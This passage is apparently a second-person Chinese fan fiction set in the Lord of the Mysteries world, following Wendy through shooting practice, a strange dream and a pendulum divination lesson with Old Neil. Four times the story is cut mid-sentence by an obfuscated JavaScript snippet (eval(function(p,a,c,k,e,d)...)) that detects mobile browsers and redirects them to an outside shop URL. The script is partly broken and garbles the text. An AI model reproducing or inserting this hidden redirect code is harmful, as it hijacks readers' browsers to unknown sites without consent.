克莱恩很自然地伸手接过你手里剩下的一半草药包,“提着东西不方便做事。我帮你拿到上面去?” “哦,好的,谢谢你~”你感激地把剩下的五包草药递给他。 等你快步走向文职办公室,在那台1346型打字机上啪嗒啪嗒敲好简易的报告单,拿去给邓恩队长签字。队长从文件堆里抬起头,看了一眼单子和你,没说什么就签了名。 再回到接待厅时,发现克莱恩已经不知从哪里找了个结实的大号厚纸袋,将五包草药整整齐齐地码放在里面,并且将袋口仔细折好。 “这些草药……你是打算带回家?” 克莱恩问道。 “不,是分给队里大家的。刚才给队长、伦纳德、罗珊和你还有布莱特先生都发过了,剩下的这些是给其他队员的。” 你解释道,“就先放在文职办公室吧,等他们来了自己拿。” 克莱恩点了点头,没再多问,提着那个大纸袋帮你放在了文职办公室角落的柜子旁。 “好了,我们走吧?” 你拍了拍手上不存在的灰尘,有些兴奋地看向克莱恩。 …… 佐特兰街3号的地下靶场比想象中更宽敞,空气中弥漫着淡淡的火药味和金属冷却剂的气息。大部分区域属于警察部门,能听到远处传来零星的、有节奏的枪击声。值夜者小队拥有一个相对独立、用厚重隔板分开的区域,设施齐全,且对内部成员免费开放。 克莱恩显然不是第一次来,他熟门熟路地带着你完成了登记,然后领着你走进了属于值夜者的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193696|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那块场地。灯光有些昏黄,但足够照亮远处的靶子。 “第一次摸枪,先从最基础的开始。” 克莱恩的声音在略显空旷的靶场里显得很清晰,他拿起一把制式的练习用左轮手枪,向你示范,“握枪要稳,虎口贴紧这里,手腕要直但不要僵硬……抬臂,视线、准星、靶心三点一线,呼吸放平缓,扣扳机要均匀用力,不要猛扣……” 他讲解得很耐心,动作也刻意放慢让你看清。你学着他的样子,有些笨拙地握住那把对你来说略显沉重的左轮,小心翼翼地抬臂瞄准。第一次扣动扳机时,巨大的枪响和后坐力让你浑身一震,手臂一阵发麻,耳朵里嗡嗡作响。 “没关系,新手都这样。适应后坐力需要练习。” 克莱恩在一旁说道,语气平稳。 你定了定神,按照步骤继续:射击,甩出转轮,用退弹杆磕掉灼热的弹壳,再从子弹带上取下新的子弹塞入……动作生疏缓慢,但好歹完成了流程。 然而,令人惊讶的事情发生了。 尽管你感觉自己的姿势别扭,手臂被后坐力震得发麻,瞄准时也总觉得准星在晃动,但当你们一起查看靶纸时,结果却让人瞠目结舌—— 你射出的所有子弹,竟然全都上靶了! 虽然环数不算高,但对于一个第一次摸枪的纯新手来说,这简直是不可思议的成绩。相比之下,旁边克莱恩的靶纸上都还有一两发脱靶。 你看着靶纸,有些发愣。克莱恩也看了看你的,又看了看自己的,沉默了几秒,才开口道:“……你很有天赋。” 你摇了摇头,心里已经有了猜测。你沉吟道:“不,我觉得……这应该不是天赋。” 你想起了达克威尔关于“命运眷顾”的比喻,以及“怪物”途径那难以捉摸的特性。 为了验证,你重新装填好三发子弹。这一次,你没有仔细瞄准,甚至直接闭上了眼睛,完全凭感觉抬手,朝着靶子的方向。 啪!啪!啪! 三声枪响几乎连成一片。你睁开眼睛,和克莱恩一起再次查看靶纸。 三发子弹,依旧稳稳地钉在靶上! 环数和你睁着眼睛、努力瞄准时打出的成绩,几乎没有区别! 这下,连你自己都确认了。这绝非普通的射击天赋或肌肉记忆,而是某种更玄乎的东西在起作用——运气?直觉?还是“命运”途径在低序列时,对涉及“概率”、“结果”事件的某种隐性偏斜? 一旁的克莱恩看着这近乎诡异的结果,沉默了好一会儿,最终也只能摇了摇头,发出一声不知是感慨还是无奈的叹息:“……命运途径的非凡者,真是……神奇。” 33. 第33章 不知道取什么标题的过渡章 三十发练习子弹很快打空,你的手臂被后坐力震得微微发麻,但那种奇妙的“全中靶”体验仍让你感到些许不真实。 练习结束后,克莱恩并没有立刻离开,而是利用靶场边相对空旷的区域,开始进行一系列基础体能训练——俯卧撑、深蹲、以及一些你看不懂但显然能锻炼核心力量的动作。 你看着,觉得自己也应该加强体能——毕竟非凡者的道路上,强健的体魄总是有益的。你学着克莱恩的样子,尝试做几个俯卧撑,结果手臂酸软,姿势歪斜,勉强做了两个就撑不住了。深蹲也做得摇摇晃晃,和克莱恩那稳定的动作形成了鲜明对比。 连克莱恩在做完一组间歇时,看到你挣扎的样子,都忍不住委婉地提醒:“嗯……体能方面,可能也需要循序渐进地加强。这对应对突发状况和承受某些非凡能力的负担都有好处。” 他说得很客气,但意思很明显——你需要锻炼,而且差得挺远。 你有些汗颜地点点头,默默将“体能训练”加入了自己未来的计划表。看来光有“运气”加持的枪法还远远不够。 等到一切真正结束,走出靶场时,才发现天色早已昏暗,街灯陆续亮起。你们在佐特兰街口搭乘了一辆无轨公共马车,摇晃的车厢里弥漫着夜晚的气息和乘客们疲惫的沉默。你看着窗外飞逝的灯光和建筑剪影,才意识到时间已接近晚上七点。 在铁十字街下街路口下车,你快步走向家门。推开那扇熟悉的门,温暖的灯光和食物香气立刻包裹了你。母亲和弟弟西里斯正围坐在餐桌旁,晚餐似乎刚刚开始。 “回来啦?饿了吧?” 母亲抬起头,脸上带着温柔的笑意,“我猜你今天可能会晚,特意把晚饭做得晚了些,菜都还热着。” 一股暖流瞬间涌上心头,驱散了身体的疲惫。你几步走过去,从背后用力抱住了母亲,像个孩子一样把脸贴在她肩头蹭了蹭,然后响亮地亲了一下她的脸颊:“谢谢妈妈!果然妈妈最懂我,最爱我了!” 母亲被你突如其来的亲昵逗笑了,脸上泛起开心的红晕,她侧过头也亲了亲你的脸,眼里满是慈爱:“傻孩子,快去洗手吃饭。” 这时,弟弟西里斯也从椅子上跳下来,跑过来抱住你的腿,仰起脸:“姐姐,欢迎回家!” 你弯下腰,笑着在他软乎乎的脸蛋上也用力亲了一口:“谢谢西里斯!姐姐回来啦!” 被妈妈亲了,开心,被弟弟也亲了,双倍的开心。 每次回到家,你都能更清晰地认识到:你是温蒂·佩洛蒙西娅,是父母的女儿,是弟弟的姐姐,是一个刚刚找到工作、正在努力适应新生活的普通年轻人。 你洗了手,在餐桌旁坐下。母亲端上了特意给你留的、还冒着热气的炖菜和面包。简单的食物,却胜过任何珍馐美味。 你听着西里斯叽叽喳喳讲述白天在街上的见闻,听母亲唠叨着隔壁邻居的趣事,大口吃着饭菜,感觉精神和体力都在慢慢恢复。 晚上,你又陷入了梦境。这次不再是纯白空间与银白巨蛇,而是置身于一个奇异的房间。 梦中,你发现自己置身于一个风格迥异的房间。你像是漂浮在半空中的幽灵,拥有完全的“上帝视角”,俯瞰着整个空间。 房间不大,但整洁明亮得不可思议。天花板上有稳定而柔和的白光洒下,不是煤气灯摇曳的昏黄,也不是蜡烛的暖昧,而是一种均匀、恒定、仿佛永远不会熄灭的光明。墙壁刷着雪白的漆,甚至贴着光滑的白瓷,反射着清冷的光泽。 房间中央是一张宽大的书桌,样式简洁到你从未见过,材质像是抛光的深色木头,线条利落。书桌旁立着一个几乎顶到天花板的书架,上面塞满了厚薄不一的书籍。角落里摆着一张宽阔得惊人的床,铺着素色的织物,看起来蓬松柔软,是你只在贵族商店橱窗外惊鸿一瞥过的材质和款式。总之,一切都透着一种简洁、干净、却仿佛“很贵”的感觉。 而书桌前,坐着一个身影。 那身影背对着“漂浮”的你,坐姿端正。她的衣着与你截然不同——裁剪合身的、质地奇特的浅色上衣,深色的、包裹着腿部的长裤,样式简单到怪异,却又透着一种干练。 最奇异的是,你明明“知道”那是“我”。不是长相或衣着的相似,而是一种源于存在核心的、无法言喻的认同感。那是另一个“温蒂·佩洛蒙西娅”,存在于某个你无法理解的时间或层面的“你”。 你好奇地将“目光”移向她的正面。然而,当你试图看清“她”的脸时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193697|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到的却是一片黑洞洞的虚无。没有眼睛,没有鼻子,没有嘴巴,平滑的皮肤延伸到本该是五官的位置,却只有一片深不见底的黑暗,仿佛那里是通往另一个维度的入口。 这景象本该令人毛骨悚然,但梦中的你却奇异地并不感到害怕,只有一种深沉的、宿命般的平静和探究。 你不再满足于旁观。心念一动,你的意识便如同水滴融入大海,轻而易举地进入了那个无面“自己”的身体。没有阻碍,没有排斥,仿佛那本就是为你预留的躯壳。 接管了身体的“控制权”,你作为观察者和执行者的第一反应,就是将视线投向那塞得满满当当的书架。 渴望知识是你的本能。 你抬起手,想要抽出一本翻阅。但下一刻,你愣住了。 书架上的那些书籍,封面或书脊上的文字……你一个也不认识! 那不是赫密斯文,不是古弗萨克语,也不是你见过的任何现行或古代文字。那些字符扭曲、简洁、充满几何感,组合在一起却构成了你完全无法解读的密码。 凭什么?! 一种莫名的焦躁和委屈在梦中升起。这里明明有这么多书!这么多可能蕴含着另一个“我”的智慧、经历或秘密的知识!为什么偏偏是看不懂的文字?为什么有书却不给我看?! 这股强烈的、近乎孩子气的懊恼情绪在梦境中激荡。就在你试图更仔细地辨认,或者想要强行抽出一本,看看内页是否有插图或可识别的符号时—— 梦境戛然而止。 像是一幅精致的油画被突然泼上了浓墨,所有的景象、光线、触感,连同那份懊恼的情绪,都在瞬间被无形的手抹去。 你猛地睁开眼睛。 视线里是自己小房间熟悉而低矮的天花板,木板缝隙间有些许霉斑。窗外传来清晨鸟儿的啼叫和铁十字街开始苏醒的隐约声响。阳光透过不太干净的玻璃窗,在地板上投下模糊的光斑。 第二天清晨,到了。 你眨了眨眼,撑起身体。没有头痛,没有眩晕,没有灵性不适。那个清晰无比的梦境残留的影像还在脑海,尤其是那满书架无法阅读的书籍和那张无面的脸,带着一种怪异的真实感。但你甩了甩头,将它们暂时压下。 34. 第 34 章 男人只会影响我变强 第二天清晨,再次踏入黑荆棘安保公司。刚推开略显沉重的木门,就听到接待台那边传来轻松的交谈声。 老尼尔依旧穿着他那身与时代格格不入的古典黑袍,悠闲地靠在前台边。而罗珊今天换上了一套颜色明快的嫩黄色轻便长裙,正一边整理着文件,一边与老尼尔低声说笑着什么,脸上带着浅浅的笑意。 “早上好,尼尔先生,罗珊小姐。” 你收敛心神,露出笑容走上前打招呼。 “早上好,温蒂。” 罗珊抬起头,温和地回应。老尼尔也对你点了点头,红色的眼睛里带着惯有的和善。 来得还算早,不着急叫开始学习和工作,你想起之前和家里商讨过的搬家计划,靠着接待前台问道:“尼尔先生,罗珊小姐,你们知道这附近,比如水仙花街或者治安好一些的街区,最近有没有什么正在出租的房源吗?家里想换个地方住。” 说话间,你自然地抬手,用手指关节轻轻揉了揉右眼眶——悄然开启了灵视,目光状似无意地扫过老尼尔。 在灵视的视野中,老尼尔的生命光晕依旧呈现着符合他年龄的平稳状态,只是那一层整体的白色似乎又淡了些。而在那代表“过往”的叠加影像中,你清晰地“看”到——就在昨夜,他又一次在炼金室进行了放血! 那画面比上次更清晰一些:昏暗的灯光下,他挽起袖子,露出苍白起皱的手臂,用那柄熟悉的银质小刀划开皮肤,让暗红的血液滴入一个刻画着更多、更复杂符号的银盆里。他的表情依旧专注,甚至有些严肃。 你心中微凛,但面上笑容不变,仿佛只是随口一问。 老尼尔摸了摸下巴,想了想说:“租房啊……水仙花街那边环境是不错,治安也好,租金嘛,对你来说可能有点小贵。你可以去铁十字街上街的‘考普房屋租赁中介’问问,他们路子比较广,也有些信誉。就说是我介绍的,老尼尔,他们应该会给你实在点的价格。” 他给出了一个很实际的建议。 “好的,谢谢您,尼尔先生。” 你点点头记下,然后看似关切地转移了话题,同时也是为了多观察几眼,“对了,我昨天带回来一些宁神助眠的草药,放在文职办公室了,您去拿了吗?泡水喝就行,对缓解疲劳挺有效的。” “哦?还有我的份?谢谢你了,孩子,我待会儿就去拿。” 老尼尔乐呵呵地说,似乎很受用这份关心。 在你与他对话的这几秒里,你的“虚视”能力又捕捉到了更多细节:在老尼尔昨夜放血的影像背景中,一本摊开的、边缘破损的厚重笔记上,写满了密密麻麻、极其复杂且古老的赫密斯文注解和仪式构图,其中反复出现几个特定的、令人不安的符号,以及一个核心的词汇,经过你快速联想老尼尔曾教过的少数几个基础象征符号,你辨认出那个词似乎与 “回归”、“唤醒”或“复苏” 的概念强烈相关…… 所以,老尼尔是要复刻一个难度极高的复活仪式?这个猜测让你心头一震。老尼尔想复活谁?这绝对触碰了值夜者乃至正神教会的禁忌! 你强行压下心中的惊涛骇浪,面上依旧保持着得体的微笑,正准备结束谈话离开。 就在这时,公司的大门再次被推开,克莱恩走了进来。他今天穿着那身得体的正装,手里拿着手杖和帽子,看到你们,他摘下帽子,动作标准地行了一礼:“早上好,尼尔先生。早上好,温蒂,罗珊小姐。” “早上好,克莱恩。” 你也微笑着回应。 老尼尔的目光在你和克莱恩之间转了转,脸上露出一种长辈看晚辈的、略带促狭的笑容:“哟,我们两位‘高灵感’的新人今天又聚在一块了。怎么样,昨晚有没有听到什么不该听的声音,或者看到什么不该看的东西啊?刚成为非凡者,灵性活跃,偶尔会这样的。” 他特意在“声音”上加重了语气,显然是在调侃“怪物”和“占卜家”途径初期可能遇到的灵性干扰问题。 克莱恩神情自若地回答:“谢谢关心,尼尔先生。我睡得很好,一觉到天亮。” 他的回答滴水不漏。 你则顺着老尼尔的调侃,半真半假地抱怨道:“声音倒是没听到,就是做了个怪梦,梦见满书架的书,结果一本都看不懂,全是天书,气得我直接醒了。估计是白天总惦记着尼尔先生您珍藏的罗塞尔大帝密文笔记,日有所思夜有所梦了。” 这番话果然把老尼尔逗乐了,他哈哈笑了起来,指着你说:“你们这些年轻人啊,就是好奇心重!我那点破收藏有什么好惦记的,都是些解不开的谜题。行了行了,还有得忙呢,今天要学习新东西,别在这儿杵着了,快跟上。” 在他的笑声中,你和克莱恩对视一眼,默契地结束了寒暄,跟着老尼尔走下楼梯,进入地底,来到武器库,替换了昨晚值夜的布莱特。 说到新知识,你好奇地望向老尼尔,黑色的眼睛里带着对新知识的期待:“尼尔先生,我们今天要学什么?” 老尼尔脸上露出一个神秘的、带着点孩童般狡黠的笑容,他故意卖了个关子,慢悠悠地说:“今天嘛……先教你们一个有趣的技巧。” 克莱恩显然被勾起了好奇心,他重复了一遍老尼尔的话,带着探究的语气:“有趣的技巧?” 老尼尔那布满皱纹的脸上露出一个神秘的微笑,他没有直接回答,而是指了指你,又指了指武器库和资料室的方向:“温蒂,你跟我来,我们先去例行巡视一圈武器、材料和文献库。至于你,克莱恩,”他转向克莱恩,眼中闪着促狭的光,“去给我们泡三杯咖啡。记住要求:一杯放方糖,一杯不放糖,还有一杯……放点‘不好的东西’。放什么‘不好的’由你自己决定,但不能浪费太多咖啡粉,明白吗?” 这个奇怪的任务让克莱恩明显愣了一下,褐色的眼睛里满是疑惑,显然没明白老尼尔葫芦里卖的什么药。你也听得一头雾水,泡咖啡和“有趣的技巧”有什么关系?还要放“不好的东西”? 不过克莱恩很快恢复了镇定,甚至露出了一点跃跃欲试的表情,愉快地点头应下:“好的,尼尔先生,我会准备三杯特别的咖啡。” 而你则带着满心好奇,跟着老尼尔离开了接待厅,开始了例行的巡视工作。 老尼尔的脚步不疾不徐,背着手走在前面,时不时检查一下武器库门锁上的灵性符咒是否完好,或者翻看一下重要材料的存取记录。你跟在旁边,留意着周围的环境。 你走在略显昏暗、只有煤气灯提供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193698|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照明的通道里。空气中弥漫着陈旧纸张、金属、草药以及某种难以言喻的、属于“神秘”本身的冰冷气息。 “怎么样,小温蒂,加入值夜者小队也有一段时间了,还习惯吗?” 他像个慈祥的长辈一样问道,声音在空旷的通道里带着回音。 你点点头,很实在地回答:“嗯,挺好的。大家都很友善,队长虽然严肃但很照顾人,伦纳德先生虽然看起来有点散漫但其实挺可靠的,克莱恩也很帮忙。而且,” 你顿了顿,补充了一个非常现实的优点,“工资和福利待遇也很好。所以,就目前来说,如果不考虑那些潜在的危险,这确实是个能让人开开心心上班的好工作。” 老尼尔被你最后这句大实话逗乐了,呵呵笑了几声:“能这么想就好,保持好心态很重要。” 他话锋一转,语气变得八卦起来,灰蓝色的眼睛里闪着好奇的光,“那……个人生活方面呢?有没有遇到什么看中的好小伙子?我们值夜者小队里可是有不少不错的年轻人呐……” 你没想到他会问这个,愣了一下,随即诚实地摇了摇头:“没有。” 但你并没有就此打住,而是顺着这个话题,想到这是难得地可以传达一些更深层的想法的机会。 你一边看着通道墙壁上那些意义不明的刻痕,一边轻声说道:“尼尔先生,不瞒您说,在我来值夜者之前,我的生活几乎被学习和兼职填满了,没有什么时间去认识男生,去考虑这些事情。” 你顿了顿,语气变得有些复杂,既有向往,也有一丝不易察觉的忧虑:“而且,我觉得……那种超越一切的、真挚的感情,固然让人羡慕,但有时候也让人恐惧。它意味着你将另一个人纳入了你的生命,你们的命运会紧紧交织在一起。但是……” 你的声音低了一些,“倘若有一天,对方因为某种原因离开了,我该怎么自处?或者,更现实一点,我现在已经是非凡者了,注定要面对更多的危险和不确定性。如果我牺牲了,那个将我视为生命重要一部分的人,他又该怎么办?” 你深吸了一口气,整理了一下思绪,继续说道:“所以,如果可以的话,我当然希望能找到一位互相爱慕、能携手面对一切的伴侣。但如果找不到,或者说,没有那么好的运气,那我希望,即使未来有那么一个人出现,他也最好是一个本性善良的好人,并且内心足够坚强。我希望我们的关系是积极的,我能让他变得更好,而即使有一天我不在了,我的存在也不会成为阻碍他继续前进的负担,而是能化为他前进的一份力量。大概……就是这样吧。” 你说完,有些不好意思地笑了笑,毕竟自己虽然有私心,但是在一个长辈面前认真说这些可能有些过于严肃和矫情了。 老尼尔听着你的话,原本带着八卦笑意的脸上,渐渐浮现出一种复杂的情绪,有惊讶,有欣赏,也有一丝淡淡的、仿佛回忆起什么的感慨。他没有立刻评价你的话,只是沉默地走了一小段路,然后用一种比刚才深沉得多的语气缓缓说道:“能想到这一层……孩子,你比很多活了大半辈子的人都要通透,也……更负责任。这很好。真的。” 老尼尔摇了摇头,没再继续这个话题,转而开始跟你讲解起旁边储藏室里某件封印物的来历和注意事项。 35. 第 35 章 每一个打工人的必备技能 老尼尔带着你完成了一圈简短的巡视,检查了几个关键封印物的状态和文献库的封印后,你们回到了武器区。 推开门,一股新鲜的咖啡香气扑面而来。克莱恩已经准备好了三杯看起来一模一样的咖啡,整齐地摆放在桌台一角。他站在一旁,脸上带着一丝完成任务后的轻松,以及隐约的好奇。 老尼尔慢悠悠地走到台边,目光扫过三杯深褐色的液体,嘴角勾起一个狡黠的笑容。他没有去看克莱恩,反而转向你,像个要考校学生的老师:“来,小温蒂,用你的眼睛和感觉瞧瞧,猜猜看,这三杯里,哪杯是加了方糖的,哪杯又是被我们克莱恩加了‘不好的东西’的?” 你愣了一下,没想到任务会落到自己头上。你仔细看了看三杯咖啡,色泽、香气、液面高度都毫无区别。你硬着头皮,凭着一种莫名的感觉,随意指了指:“左边这杯……是加了糖的?右边这杯……可能加了点‘特别配料’?” 你说完,瞥见克莱恩的眉头几不可察地挑了一下,似乎对你的选择有些意外。 老尼尔脸上的兴味更浓了,他没有立刻揭晓答案,而是慢条斯理地解下了缠绕在他左手手腕上的一根细细的银链。 他在实验台前的椅子上坐下,表情迅速从戏谑转为沉静专注。他用左手持握住银链的上端,将链子末端的一枚切割面光滑的白水晶垂落下来,悬停在右侧那杯你指认“加了料”的咖啡杯正上方,保持手臂伸直,手腕稳定。 起初,水晶和银链静止不动。但几秒钟后,在没有任何外力触碰的情况下,那枚白水晶开始轻微地、自发地摆动起来!紧接着,整条银链随之做起了小幅度的、稳定的逆时针旋转! “嗯,有反应。” 老尼尔平静地开口,声音里带着一种笃定,“右边这杯,确实被添加了‘不好的事物’。” 他收起银链,不等克莱恩公布答案,竟然直接端起了左边那杯你认为是“加糖”的咖啡,凑到嘴边尝了一口,然后点点头:“嗯,这杯也确实加了糖。” 他放下杯子,看向克莱恩,暗淡的红色眼睛里带着一丝调侃,但更多的是导师般的督促:“看来你要加把劲啊,莫雷蒂先生。我们的小温蒂不用占卜,光凭直觉就蒙对了……哦不,是‘感知’对了。可你才是正儿八经的‘占卜家’,在占卜这件事上,可不能输给其他途径的‘感觉党’。” 克莱恩脸上露出无奈又了然的笑容,他摇了摇头,坦然说道:“‘怪物’途径的灵性直觉,我昨天在射击俱乐部就已经见识过了。” “好了,玩笑到此为止。” 老尼尔拍了拍手,将两人的注意力拉回,“刚才我演示的,就是占卜领域最基础、也最实用的方法之一——垂摆法,或者叫灵摆法。” 他拿起那枚白水晶,向你们展示,“原理是利用灵性与目标事物之间可能存在的微弱联系,通过媒介,比如这枚纯净的水晶,放大并显现为物理运动。记住几个基本规则:” 他竖起手指,一条条清晰地阐述: “第一,摆动的方向有含义。通常,像刚才那样的逆时针旋转或摆动,通常代表否定、坏、不利、错误或者不存在。而顺时针旋转或摆动,则代表肯定、好、有利、正确或者存在。如果灵摆只是轻微晃动或基本不动,可能意味着问题不明确、答案中性,或者灵性联系太弱无法判断。” “第二,也是最重要的,” 老尼尔语气加重,“你问的必须是‘事件’或‘事实’,而不能是开放性的‘问题’! 不要用‘是不是’、‘会不会’、‘能不能’这种疑问句式去框定它。” 克莱恩若有所思地接话:“也就是说,不能用疑问的语句。” “没错!” 老尼尔赞许地点头,“这种问法不够明确,容易引发歧义。你应该将占卜目标定为‘谁谁谁愿意做我的未婚妻’ 这个‘事件陈述’而非‘谁谁谁是否愿意做我的未婚妻’。灵摆会针对这个陈述的真伪进行回应。记住,占卜是探寻‘事实’,而不是回答‘疑问’。” “第三,” 他继续补充,“操作时,尽量使用非惯用手来持握摆链,就像我刚才用的是左手,手臂要打直,保持稳定,让灵摆能自由垂直悬挂,不受你下意识肌肉动作的影响。心要静,意图要明确。” 老尼尔将银链和白水晶放在台面上,示意你们可以尝试用其他无害的东西练习。 “今天先掌握这些基础。记住,占卜不是万能的,它受到很多因素干扰——你的精神状态、问题的清晰度、目标的关联性,甚至天气和周围的灵性环境。不要迷信占卜结果,它只是一个参考工具,很多时候,你自己的判断和调查更重要。” …… 老尼尔教授完灵摆的基本用法后,话锋一转,脸上露出一种“老财务”的精明笑容,开始向你们传授值夜者小队内部一项非常重要的“生存技能”——如何合理合规地报销因公花费。 “听着,孩子们,”他压低声音,仿佛在分享什么秘密诀窍,“购买灵摆的银链和水晶,属于‘必要的、用于提升业务能力的神秘学工具’。填写报销申请时,理由就写‘用于辅助调查、提升占卜准确率以搜寻安提哥努斯笔记线索’。记住,一切都要和当前的‘首要任务’扯上关系,这样队长批起来才痛快,圣堂的审计部门也不会找麻烦。” 你立刻心领神会,并且举一反三:“那……每天来上班乘坐公共马车的车费,是不是也能算作‘必要的通勤费用,以确保调查员能准时到岗参与重要任务’?” 老尼尔眼睛一亮,赞许地拍了下你的肩膀:“聪明!一点就通!没错,这些合理的开销都要学会申请。我们值夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193699|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者薪水不算顶尖,这些福利可不能浪费。” 一旁的克莱恩听着这“理直气壮”的报销理论,脸上露出了混合着惊讶和犹豫的神情,小声嘀咕:“这样……真的没问题吗?会不会太……”结果被老尼尔笑着打断他:“克莱恩,这可是我宝贵的经验之谈。我敢打赌,你以后肯定也会试试的。” 你看着克莱恩那虽然迟疑但明显记在心里的表情,就知道这位邻居在精打细算方面,绝对是个一点就透的“可造之材”。 老尼尔满意地看着你们,随即布置了新的任务:“好了,报销的事你们自己琢磨。接下来,我们学习神秘学的基础——常见的星座象征符号及其含义。小温蒂,”他转向你,由于之前你经常来帮忙,已经跟他学过不少基础知识,他便放心地把这个任务交给了你,“这部分你比较熟悉,就由你来给克莱恩讲解一下那几个常见的星座象征符号吧,我正好歇歇,喝口咖啡。” 说着,他真就端起那杯加了糖的咖啡,惬意地坐到了一旁的椅子上。 你点点头,接过任务。拿出炭笔和草稿纸,开始在纸上画出几个简单的、由弧线和点组成的象征符号:“克莱恩,你第一眼看到这个图案,你会觉得它象征什么?” 克莱恩凑近仔细看着,脸上露出一丝古怪的表情,他指着那个符号说:“呃……温蒂,请恕我直言,这个符号我第一眼看过去,觉得它有点像眼睫毛。” 你忍不住笑了:“眼睫毛?哈哈,我第一次看的时候,还以为它是象征‘雨水’ 的符号呢,觉得那弧线像是云朵,下面的竖线和点像是落下的雨滴。不过后来尼尔先生告诉我,这个符号的本质确实与滋养作物的雨水有关,但更强调雨水带来的丰收结果。在古老的传统里,它祈祷风调雨顺,五谷丰登。所以实际上,这是一捆麦穗下面带着弯钩的符号,是‘丰收星座’ 的象征,主要关联秋天、果实、积累和大地孕育的力量……” 克莱恩若有所思地点点头:“这么一说,确实很贴切。这些符号……感觉都很质朴,直接来源于古人对自然和农耕的观察。” “是的,”你表示赞同,又画了另一个符号,“比如这个,‘雷鸣星座’ 的象征,是不是很像一道撕裂天空的闪电?它代表骤变、警示和强大的力量。而这个,”你画出第三个更复杂的符号,“‘白霜星座’,它的线条更复杂,象征着冰雪的结晶、严寒、静止和净化。” 你们一边画,一边讨论着每个符号可能对应的自然现象和其在仪式魔法、符文学中的应用。正如克莱恩所说,这些古老的象征符号大多质朴而直接,与远古先民耕种、生存息息相关,祈求雨水、畏惧雷电、应对寒冬……理解了这一点,再去看这些符号,就不再是抽象的线条,而是承载着古老愿望和自然规律的钥匙,在记忆方面也方便得多, 36. 第36章 扮演! 结束了星座象征符号的教学,老尼尔收拾着用于教学灵摆的银链和水晶,对你们刚才的表现点了点头,算是基本满意。他看向你和克莱恩,语气恢复了作为前辈和导师的沉稳与告诫: “记住,无论是灵视、占卜,还是你们各自途径的能力,力量必须经常使用,但不能滥用。只有在一次次的实践中,你们才能将书本和口授的知识,真正转化为属于本能的反应。当然,冥想更是每天的必修课,雷打不动。它能帮助你们收束灵性,平复情绪,稳固心神,是掌控魔药力量、避免失控的基石。” 他红色的眼睛扫过你们,“只有多练习,多使用,同时保持敬畏与谨慎,才能真正地将魔药的力量化为己用。” 你在心里默默点头,深以为然。能力就是要多用才能发现它的更多用法,比如我,我就几乎天天都在用啊……我们公司里还有谁没被我偷看来着? 你暗自嘀咕,想起自己那不受控制的高灵感带来的各种“看见”,以及那奇特的、能翻阅过去痕迹的能力。只是你还不完全清楚,驱动这些能力的,究竟是“怪物”魔药本身,还是你那被魔药放大后、更加异常的“天赋”。 这时,一旁的克莱恩若有所思地开口,提出了自己的计划:“尼尔先生,我打算等手头宽裕一些,就去加入豪尔斯街那边的 ‘占卜家俱乐部’。 他看到你和老尼尔投来的目光,解释道,“我想在那里,以一个真正‘占卜家’的身份,为普通人提供一些有偿的占卜服务。这应该能很好地锻炼我的占卜能力,将理论与实践结合。” 老尼尔眼中闪过明显的赞许,他摸着下巴,甚至带着点欣慰的笑容说:“很好的想法!克莱恩,你能想到这一层,说明你已经走在了正确的道路上。至于加入俱乐部的会费嘛……” 他狡黠地眨眨眼,“完全可以包装成‘用于提升占卜技能以更高效搜寻安提哥努斯笔记线索的必要职业进修费用’,写份报告,我想队长肯定会批准的。” 克莱恩脸上露出心领神会的表情,点了点头:“我明白了,谢谢尼尔先生。” 你看着这一幕,心里既为克莱恩找到了明确的道路感到高兴,又不禁生出一丝羡慕和淡淡的焦虑。 看,克莱恩这就算是无师自通,摸到“扮演法”的门路了……虽然他自己可能还没意识到这叫“扮演”,但方向完全正确。’ 他想通过为人占卜来扮演“占卜家”,这个理由听起来天衣无缝,连老尼尔都表示认可。 你心里不由得叹了口气。对比克莱恩清晰明确的“扮演”路径——加入占卜俱乐部,成为一名真正的“占卜家”,你感到更加迷茫了。 